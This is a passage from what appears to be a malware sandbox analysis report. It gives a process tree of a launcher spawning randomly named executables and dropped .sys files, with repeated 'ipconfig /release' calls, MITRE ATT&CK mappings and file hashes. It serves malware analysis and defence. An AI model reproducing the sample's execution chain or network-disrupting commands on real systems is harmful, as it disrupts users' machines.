    C:\Temp\tnljdbvtrl.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1092
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:4456
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5748
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_tnljdbvtrl.exe ups_ins
  2⤵
  PID:4912
- - C:\Temp\i_tnljdbvtrl.exe
    C:\Temp\i_tnljdbvtrl.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2276
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\lidbvtnlfd.exe ups_run
  2⤵
  PID:2960
- - C:\Temp\lidbvtnlfd.exe
    C:\Temp\lidbvtnlfd.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5008
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:2332
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4936
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_lidbvtnlfd.exe ups_ins
  2⤵
  PID:2776
- - C:\Temp\i_lidbvtnlfd.exe
    C:\Temp\i_lidbvtnlfd.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3688
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ifaxsqkica.exe ups_run
  2⤵
  PID:5044
- - C:\Temp\ifaxsqkica.exe
    C:\Temp\ifaxsqkica.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4132
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:4332
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:260
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ifaxsqkica.exe ups_ins
  2⤵
  PID:1820
- - C:\Temp\i_ifaxsqkica.exe
    C:\Temp\i_ifaxsqkica.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5672
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ifaxsqkica.exe ups_run
  2⤵
  PID:2724
- - C:\Temp\ifaxsqkica.exe
    C:\Temp\ifaxsqkica.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4280
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:2568
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2012
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ifaxsqkica.exe ups_ins
  2⤵
  PID:2276
- - C:\Temp\i_ifaxsqkica.exe
    C:\Temp\i_ifaxsqkica.exe ups_ins
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3224
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\xupnhfzxrp.exe ups_run
  2⤵
  PID:5724
- - C:\Temp\xupnhfzxrp.exe
    C:\Temp\xupnhfzxrp.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3292
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:4208
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5960
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_xupnhfzxrp.exe ups_ins
  2⤵
  PID:1212
- - C:\Temp\i_xupnhfzxrp.exe
    C:\Temp\i_xupnhfzxrp.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3420
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\rpjhecwupm.exe ups_run
  2⤵
  PID:5080
- - C:\Temp\rpjhecwupm.exe
    C:\Temp\rpjhecwupm.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1104
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:3644
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2552
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_rpjhecwupm.exe ups_ins
  2⤵
  PID:1284
- - C:\Temp\i_rpjhecwupm.exe
    C:\Temp\i_rpjhecwupm.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4320
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\omgezwrojh.exe ups_run
  2⤵
  PID:5188
- - C:\Temp\omgezwrojh.exe
    C:\Temp\omgezwrojh.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5656
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:2096
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4100
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_omgezwrojh.exe ups_ins
  2⤵
  PID:1724
- - C:\Temp\i_omgezwrojh.exe
    C:\Temp\i_omgezwrojh.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5888
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\rljebwuomj.exe ups_run
  2⤵
  PID:5592
- - C:\Temp\rljebwuomj.exe
    C:\Temp\rljebwuomj.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4288
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:4948
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5288

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:268

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:4156

C:\Temp\wuomhezwro.sys
C:\Temp\wuomhezwro.sys
1⤵
- Executes dropped EXE
PID:2568

C:\Temp\jebwuomgey.sys
C:\Temp\jebwuomgey.sys
1⤵
- Executes dropped EXE
PID:3800

C:\Temp\rljgbytrlj.sys
C:\Temp\rljgbytrlj.sys
1⤵
- Executes dropped EXE
PID:2408

C:\Temp\gaysqlidbv.sys
C:\Temp\gaysqlidbv.sys
1⤵
- Executes dropped EXE
PID:2976

C:\Temp\qnlidaysqn.sys
C:\Temp\qnlidaysqn.sys
1⤵
- Executes dropped EXE
PID:4896

C:\Temp\sqkidavtnl.sys
C:\Temp\sqkidavtnl.sys
1⤵
- Executes dropped EXE
PID:5088

C:\Temp\kfcauspnkf.sys
C:\Temp\kfcauspnkf.sys
1⤵
- Executes dropped EXE
PID:1896

C:\Temp\spjhczusmk.sys
C:\Temp\spjhczusmk.sys
1⤵
- Executes dropped EXE
PID:3372

C:\Temp\wuomhecwur.sys
C:\Temp\wuomhecwur.sys
1⤵
- Executes dropped EXE
PID:5888

C:\Temp\bztrmjebwu.sys
C:\Temp\bztrmjebwu.sys
1⤵
- Executes dropped EXE
PID:6044

C:\Temp\jgbztrljdb.sys
C:\Temp\jgbztrljdb.sys
1⤵
PID:1708

C:\Temp\ywqoigbytq.sys
C:\Temp\ywqoigbytq.sys
1⤵
PID:4144

C:\Temp\igayvtnlid.sys
C:\Temp\igayvtnlid.sys
1⤵
PID:2544

C:\Temp\tqkidaysql.sys
C:\Temp\tqkidaysql.sys
1⤵
PID:5756

C:\Temp\faxvpnkica.sys
C:\Temp\faxvpnkica.sys
1⤵
PID:4288

C:\Temp\fzxrpkhcau.sys
C:\Temp\fzxrpkhcau.sys
1⤵
PID:5920

C:\Temp\smkeczurpj.sys
C:\Temp\smkeczurpj.sys
1⤵
PID:3212

C:\Temp\rpjhecwuom.sys
C:\Temp\rpjhecwuom.sys
1⤵
PID:3448

C:\Temp\pjgbztrljh.sys
C:\Temp\pjgbztrljh.sys
1⤵
PID:5672

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

CP.exe

Path C:\Temp\CP.exe
Size 4KB
SHA256 50b00a0816849edcc24eec9cfdd5443dbf33409ae05ee84202bfbcd00094485a
MD5 00d08d31f0ca0be125aa8ddb1c068a26
SHA1 c5e5cf5c0cb8a03c9146f5cd923cd620417eb75e
SHA512 6b5fe5899aa47239b53bc8dbd5ce6d9616ed2b0480fe55c34c27d6956f792a9c0796fe0dcd8949395284c3f5c59563efe333cc3e4e449fa9e9b7c219c88242a3
SSDEEP 48:i+HOtYCgTU534sKXG5BrBfdQSBe2nLB8JsU:fOWS3tpJ5un
TLSH
T11B912E2301A68472C8BD8FF711875AC9FABB51349322210C4BF70ED6EB70AB7446CB08
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gaysqlidbv.sys

Path C:\Temp\gaysqlidbv.sys
Size 141KB
SHA256 1ed6d2a934ecac265c0f679aec8451468a466a9f8ba9da6c1474e31ee037dd20
MD5 10ed2b744483ce8b24cc5caa1b790b16
SHA1 16beab07206c2b3bfde09118bf5e634228e20061
SHA512 71c5775de24d3ce6221a8ccbaf70a8a8026accebac929c0fc74d789406c6377a18638153e091ba902240ec3dfe945da62808546d5927a740658df05f3294f0cd
SSDEEP 3072:rsQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:rsQmpcF8BzXfwV
TLSH
T11BE38D12B2D1D172E8A618BC106AC72196BE79304F76D9C3FB950BAD5E683D0B83531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_omgezwrpje.exe

Path C:\Temp\i_omgezwrpje.exe
Size 230KB
SHA256 df096587c2e5347bdd4f6febb6c07f3d222d5848aeedbecae4db6a95d72d0c6a
MD5 a87535305c180db4009b7331a984d036
SHA1 9758cbddd5e4882256f733528876998e18b2d89c
SHA512 8ea35a721a7c72b30add669b6c516ef1220f2bb39ffbe57835742b03f92858a8d59b1c1cb2319824188391654736d8dafb13f2f5c86a2de4a3da5e004fb431c0
SSDEEP 3072:WJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:WghLQ0sQmpcF8BzXfwVfAI
TLSH
T1C9344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_rojgbztolg.exe

Path C:\Temp\i_rojgbztolg.exe
Size 230KB
SHA256 9d7fbcf2acf0c5720ef9b38a5dfe6ed62ba48e22bd27a7cdfc45ee5d452c9a8d
MD5 c7c88e66ed3257147d38cb3dbf6b5744
SHA1 9f5241f7ef3cdf4569ec3b9fba869500bb19ef27
SHA512 546155179519072e190e967ab75db22677a185a97648fe1de16d1d833022c472026919a7cd2cc75d6ac0ff90fe333fbdda1507b2dcb7d9e083a0577a969b096b
SSDEEP 3072:AJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:AghLQ0sQmpcF8BzXfwVfAI
TLSH
T1F1344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_sqkidavsnk.exe

Path C:\Temp\i_sqkidavsnk.exe
Size 230KB
SHA256 b77a03a63f3e4ab5448f13336a058b5b591ea1fd0caec45399c36705ba8ef8d0
MD5 f9a4b1bc6c5eb6be7ff137cee5be7234
SHA1 c2e43ef208e4d8d725e7ff53f7a0b971a502519f
SHA512 c459b896081cf24502e4d87326e0f1cd16a75403e9ec88079596ab24fe62b7e129fa4fc25cadce3a3f68d5a7d0ef2b08168ed9e0f28785ddd8fddf8ed63258bb
SSDEEP 3072:KJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:KghLQ0sQmpcF8BzXfwVfAI
TLSH
T144344A1272808071E7550B78046AE7A14A7E7D344BA5E68FF7A43F7A5E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_toljhbywtr.exe

Path C:\Temp\i_toljhbywtr.exe
Size 230KB
SHA256 9ecb63869d11b7cc62f161a0506e7b8cb58fa01f923f704bdea977f60deaa7b7
MD5 86a5af2712cd7baf77126e99530d943b
SHA1 b6e4b527afd882e46565b4b749b5fdbbc122d597
SHA512 2720a370f93b14c47e5b1a5c1ad946063b558993e52ac79ecc164552aecf3e07241ce924c0a0fbd9acbd150a08222823b3db72e494e2401cafc42fc07c2c9b43
SSDEEP 3072:NJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:NghLQ0sQmpcF8BzXfwVfAI
TLSH
T119344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_vqnljdbvtq.exe

Path C:\Temp\i_vqnljdbvtq.exe
Size 230KB
SHA256 8998e6115e901ddd78742488c755838dc5dfd248a56d73fe17fc76709793c48c
MD5 408be52344bd60dd8f42fb84a6c60771
SHA1 8a1fe65f5e2b72fd86ffb919d413ed3cc65b491e
SHA512 be089fc223e2497218f98d30cc76f4290d12ed6486b4bf41c05028d2c7de5fdc46390765d6dbff35f09024fe8f3e44653b4b490db4044a9e069eff215b87c241
SSDEEP 3072:2JWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:2ghLQ0sQmpcF8BzXfwVfAI
TLSH
T1F6344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_zxrmkfzupj.exe

Path C:\Temp\i_zxrmkfzupj.exe
Size 230KB
SHA256 6e868702d351baf8a5726835ee79fd65c71a17543379836b51023a1e566a2ec9
MD5 cf0d90616b5c13e24d75e9ec33132ab7
SHA1 e2f562f120a4b66dafb02165a3138a2fdb5080ea
SHA512 0e9eeeeb42350c61b5379f85f602eabaf86843eb0588af9e1d9019ab11ba9ed0c14adbec27b675623761ea6e1e3bbdb9d73db02a88532f092570dfdbd79cb5c2
SSDEEP 3072:HJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:HghLQ0sQmpcF8BzXfwVfAI
TLSH
T171344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jebwuomgey.sys

Path C:\Temp\jebwuomgey.sys
Size 141KB
SHA256 34896affc836deefa3a693507fb5255d0e933ddaa61e7f8d66ce35530b1eb4e0
MD5 ce45fc9a47ce8a079f163b8f06450561
SHA1 e13bb1ca3dfa88c11e16ecf23d116a0f8eb41572
SHA512 ffc55725fababcdf4f741aed61916f83216d8c3b04071e409d29897426d5b790315c3ec92e8e31df3de3aa110350f517e820560214e086950f1e97bd5f92cdff
SSDEEP 3072:msQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:msQmpcF8BzXfwV
TLSH
T166E38D02B2D1D172E8A618BC106AC72196BE79304F76D9C3FB950BAD5E683D0B93531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

omgezwrpje.exe

Path C:\Temp\omgezwrpje.exe
Size 230KB
SHA256 aa739116e6ae12054020c0afd0ff9922e6fd06ce4285ef6831c860bc53ce4c6a
MD5 8212fbfd139ed46c2cd409580fa60b7a
SHA1 55e6d6b29a7ca081222d4e6d94ed4f7129b53401
SHA512 a0df98a4907bc79187e8a4254098e6f9a3465e98a9796a80856bdafc6978c21dc4e95e8163cd7f8ece2f6782c598233bdbd5053cbe780b7af34ac4bdbacbc54c
SSDEEP 3072:GJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:GghLQ0sQmpcF8BzXfwVfAI
TLSH
T13B344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

qnlidaysqn.sys

Path C:\Temp\qnlidaysqn.sys
Size 141KB
SHA256 8d9f9820575de3525b5b0b6073dc4d878ebe416aebdbc9180ebaf5dc32146b39
MD5 5b26f5708fa9667046273e7f3ea7b61d
SHA1 d3fbc26c9f2fd7a593e2b59fd33320611af55925
SHA512 b09702a030d621c652ffddcad23ac2a45b833fa0591a94a48aa1bf0abf638681d1299d3c2524df1318fece90fcd8d47e5a32eba4e49776c63113af58c3184d80
SSDEEP 3072:GsQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:GsQmpcF8BzXfwV
TLSH
T1F8E38D02B2D1D172E8A618BC106AC72196BE79304F76D9C3FB950BAD5E683D0B93531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

rljgbytrlj.sys

Path C:\Temp\rljgbytrlj.sys
Size 141KB
SHA256 e567328b6cad434d984351e09c7b9d900628ed4045ace0026379a9e9d49e6e9b
MD5 385616ad8559ab6d421ea68324974a02
SHA1 bfb9981088a14b1331c3b880d87f4c4c5d0ccccf
SHA512 0d304aeda6318e96ff05bed896238c13ff95c8ee5cb92c969724b6193a3531b608e1889daec01d41fc6fe631acc6254d844addb014939717726430ad36a6dddc
SSDEEP 3072:fsQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:fsQmpcF8BzXfwV
TLSH
T153E38D02B2D1D172E8A618BC106AC72196BE79304F76D9C3FB950BAD5E683D0B93531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

rojgbztolg.exe

Path C:\Temp\rojgbztolg.exe
Size 230KB
SHA256 1c6bb02806702703a1c4ba45a4dec66a9614f08b0b25348e5456c8d9f1746c09
MD5 d5f7f033463cd6b95c77440c6e5e8d18
SHA1 c059878cc3d7942e31c0af753d9b5570335a5a53
SHA512 6464ce150d421247fcb2e21fc038ff6218f14ed511bd51f3cdfc9940ad1adc51bff261d02645c744df3b0be4fd9ad51c83a17c0ac25ce92498eba7b5dcc2dc0a
SSDEEP 3072:JJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:JghLQ0sQmpcF8BzXfwVfAI
TLSH
T182344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sqkidavsnk.exe

Path C:\Temp\sqkidavsnk.exe
Size 230KB
SHA256 7d9251e4293251e7b309cfbc7bc6ff5614f10a2acb48d1a287cc17ab38a37c51
MD5 d7609921d4544b4eb4bef9c0fdb92057
SHA1 e56cd959ab7ff1880590582291de71a35cd21fb5
SHA512 b4863d0b4447fa1170334512eab2ad54a97af0632e074bab55022f893302ae69da1bbc2e66d0e42e86a024fa929bb0a3ef36fcb0bdd80f4d9a6f237bdd3ffced
SSDEEP 3072:zJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:zghLQ0sQmpcF8BzXfwVfAI
TLSH
T18D344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

toljhbywtr.exe

Path C:\Temp\toljhbywtr.exe
Size 230KB
SHA256 2b8990398a5f64217273ee17d1759ac9fe414a74e558eab5e4b8014e9dc4bc0d
MD5 2c83f22fdc90b66d5e6f3a92d1ba5653
SHA1 760a79cd22fc724f7c751503bbd0b61a95714e30
SHA512 3069a70ce0a2cf480aae589cb36fc8fb09932ca18c882a7c5110473b15b7750c407cf32193a75b4aa2e8da0edb5bec1a569a7eb2d953177f02303b4391a4bc36
SSDEEP 3072:BJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:BghLQ0sQmpcF8BzXfwVfAI
TLSH
T19F344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vqnljdbvtq.exe

Path C:\Temp\vqnljdbvtq.exe
Size 230KB
SHA256 92274b59975730da9582b46c1d75b7ad4073cff50adba4bd782dd4f7be8a2d88
MD5 67125c7fff6d3f6237b2679e094cf774
SHA1 07854bb3241178011045967bb4b775db47e7f648
SHA512 de57f464200c6a4781e2ab5c5db1d8fa1c9048d793fb25d2d8cb9f486147441e1ec383fa1b137816975dee5d18928a1ca56563f9f93c6c218499c52a9fc43394
SSDEEP 3072:AJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:AghLQ0sQmpcF8BzXfwVfAI
TLSH
T14D344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wuomhezwro.sys

Path C:\Temp\wuomhezwro.sys
Size 141KB
SHA256 5d235ba408379dc2b59b61656ec8ced90742b3c19c82e3739f2d143cc0fa6a3b
MD5 a29ee258e55ded7459b035d91a37a44c
SHA1 a6bbbee2d642c321d5273da451c3665f5f90e0cd
SHA512 cd289503589074ff2f9fa046d29996edbffe11a1072c36b59291b539b0ac9e4a7e89ebb1d6c219c18a4eaa7cc369932160c7bd09167c638b6e804eead278b730
SSDEEP 3072:TsQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:TsQmpcF8BzXfwV
TLSH
T109E38D02B2D1D172E8A618BC106AC72196BE79304F76D9C3FB950BAD5E683D0B83531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

zxrmkfzupj.exe

Path C:\Temp\zxrmkfzupj.exe
Size 230KB
SHA256 55d3c794b86844730b5da63faec83e13b9e08d8a354da8b60cee84bcc8024065
MD5 f749332806b5bad3094e1f8a684130ab
SHA1 55b1851436639c7aa9c470facb7489f5dd46b1c2
SHA512 d2f85f1388e7dea78814c0966aaba1e1ad5aead5f0ffb3b6981538112407213e3a7b72f0f6d88609493078ee4a3dfe0e884e0150e0df41893bc53067ce0fe53f
SSDEEP 3072:WJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:WghLQ0sQmpcF8BzXfwVfAI
TLSH
T1BE344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 e413e02b9e80ee8d76d52c1043fc32251e2d7634d4b2fbd970df9ace9d91831a
MD5 22959b3a06a842ac30237dd57e8a3801
SHA1 0b7c28071a592034aa2607038000f085c7bb6362
SHA512 644add9ab912ad7fdfc55bc7a1b84482c75cc9bc69a59d169bae63a0400619d999846ebbadb0ef2bd6d35c2bd08a5f07053b600874dd5dfcbda7e8f3076131fe
TLSH
T1A5D02BE476408A0CC980203335F6524092018910D801D1480040B325CC845C1257F0DF
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 8aaa68aad07ba45abe53bd513aa5f7e7b21bd1b29db6e1d5c1e0a79a5f4eb890
MD5 74012bbce5fada7634c1da1b567562b3
SHA1 09db27f38f27e35986cfd407b57f6f83c8fc59f8
SHA512 c1a6a98f972793c84274c29552107bfe07b775c7c8121e5fdf137ebf9a7cc3f4eb43fe9eadfc842e7b92ca7281bbcea3d660bdd8fc9adc56add068510c41e48d
TLSH
T1FBD02BE07640890CC980203335F75240920189108401D1480040F335CC845C1257E0CF
MD5 SHA1 SHA512 TLSH

Submit Download

51620987-a558-49e0-8789-7d2ee82cb7fe.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\51620987-a558-49e0-8789-7d2ee82cb7fe.tmp
Size 11KB
SHA256 be1d0c8f7eff5b86fd885a65314cd8c528303c8eb0361c67110f20f9ba6ba9f8
MD5 de57aa5c191f08a6e26ce3aa84b449ce
SHA1 6be9dc49ffbaa64a7746ee0e635684fe89bfc6cc
SHA512 2eaa6fa3922c210028ae4c6f5e8ad1c4c7ab832023c80a5810d9de680314ebdabcd1ec542975f66007b523e6230ffcd55a18cdf97ebd7fbe516d80d9165f9e72
SSDEEP 192:sxRvRQCh/fbs7SkUIZqvzoA8p9Q/g6+WNCeqfYnk3hOGhIgDbiaNJ:sxRvNh/fbs7DU25S/56fhR7T
TLSH
T12642D95A6E28993B5CCBD21DBA557F53E6F96022A1D01E48E6FC8B1C14EB6CD231340F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 84e6af184dbbe425a3a4ab9ced1cdf44c1745413319c60581fe92a28996200fa
MD5 47f89d93931096eba7c130b615aabdde
SHA1 0fe54f461ad99c434c8e59d3c877d605be978776
SHA512 e535a562ea377d2e7bbeae28919967e32b4eb0beab44a100dd3cc80335980baf7e7560b7576130a5f186e18c5b4f3ca06fccb4590efe22ca7fed452fed3d91df
TLSH
T1F161979617193AD1F73449F757D954D4B7F0BB694D0F9EE222486C3A581EF0850C902F
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe5964bb.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe5964bb.TMP
Size 3KB
SHA256 28d14675d7548a715f52c8838b4fd05da2b194b04b595de20c73dbb7b822ceea
MD5 226a0c420121db60b2f7682d4f8ec93f
SHA1 5e505e3dba875d62da205c0cd9da94ded9ea2696
SHA512 c10fce727142e2daecc5194615ab0b10f0891c7fdc5be410a743699d15716e21f256e8ee42558a4bd23a9170eb2ae78ed8e37491eff3d84339a8eb360bcc8d01
TLSH
T18361868617193AE1F73449F757E954D4B7F0BB694C1F9EE222482C3A581EF0850C902F
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

4a5def61-0fdb-46f2-8668-93184250cdec.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\4a5def61-0fdb-46f2-8668-93184250cdec.tmp
Size 2KB
SHA256 a16465b96a652c5e91e06eb49a9d4d5fd0f9920424d11cff70fd363b9e9ce814
MD5 1a66e622205279ef331f3c8d5c7349f0
SHA1 d95b3eb57005c07b0b422accfe95e3f8e636cdc0
SHA512 f0b15064e0a4d2de30bccfdce25d737e995ad9cc448f053c7f37c088cd8b3d07985ee584254a524fde5c49025638d652642798c767181cd72e44c8ec5d0797d9
TLSH
T13B51CFF3C2E8C66D895156F0AB147E1BDE2D0914832C3D5AC8E4AF5B93E2471E14165E
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

